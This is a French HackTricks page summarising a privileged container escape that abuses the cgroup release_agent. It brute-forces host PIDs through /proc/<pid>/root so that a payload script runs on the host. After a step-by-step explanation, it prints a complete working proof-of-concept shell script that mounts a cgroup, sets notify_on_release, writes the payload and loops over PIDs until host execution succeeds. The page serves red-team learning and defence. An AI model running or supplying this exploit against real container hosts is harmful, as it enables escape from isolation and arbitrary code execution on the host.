release_agent exploit - Relative Paths to PIDs

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Pour plus de détails, consultez l'article de blog à partir de https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. Ceci n'est qu'un résumé :

La technique décrit une méthode pour exécuter du code hôte depuis un conteneur, surmontant les défis posés par les configurations du pilote de stockage qui obscurcissent le chemin du système de fichiers du conteneur sur l'hôte, comme Kata Containers ou des paramètres spécifiques de devicemapper.

Étapes clés :

  1. Localisation des identifiants de processus (PID) : En utilisant le lien symbolique /proc/<pid>/root dans le pseudo-système de fichiers Linux, n'importe quel fichier dans le conteneur peut être accédé par rapport au système de fichiers de l'hôte. Cela contourne le besoin de connaître le chemin du système de fichiers du conteneur sur l'hôte.

  2. PID Bashing : Une approche de force brute est utilisée pour rechercher à travers les PID sur l'hôte. Cela est fait en vérifiant séquentiellement la présence d'un fichier spécifique à /proc/<pid>/root/<fichier>. Lorsque le fichier est trouvé, cela indique que le PID correspondant appartient à un processus s'exécutant à l'intérieur du conteneur cible.

  3. Déclenchement de l'exécution : Le chemin PID deviné est écrit dans le fichier release_agent des cgroups. Cette action déclenche l'exécution du release_agent. Le succès de cette étape est confirmé en vérifiant la création d'un fichier de sortie.

Processus d'exploitation

Le processus d'exploitation implique un ensemble d'actions plus détaillées, visant à exécuter une charge utile sur l'hôte en devinant le PID correct d'un processus s'exécutant à l'intérieur du conteneur. Voici comment cela se déroule :

  1. Initialiser l'environnement : Un script de charge utile (payload.sh) est préparé sur l'hôte, et un répertoire unique est créé pour la manipulation des cgroups.

  2. Préparer la charge utile : Le script de charge utile, qui contient les commandes à exécuter sur l'hôte, est écrit et rendu exécutable.

  3. Configurer le cgroup : Le cgroup est monté et configuré. Le drapeau notify_on_release est défini pour garantir que la charge utile s'exécute lorsque le cgroup est libéré.

  4. Force brute PID : Une boucle itère à travers les PID potentiels, écrivant chaque PID deviné dans le fichier release_agent. Cela définit efficacement le script de charge utile comme le release_agent.

  5. Déclencher et vérifier l'exécution : Pour chaque PID, le cgroup.procs du cgroup est écrit, déclenchant l'exécution du release_agent si le PID est correct. La boucle continue jusqu'à ce que la sortie du script de charge utile soit trouvée, indiquant une exécution réussie.

PoC de l'article de blog :

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

D'autres façons de soutenir HackTricks:

Dernière mise à jour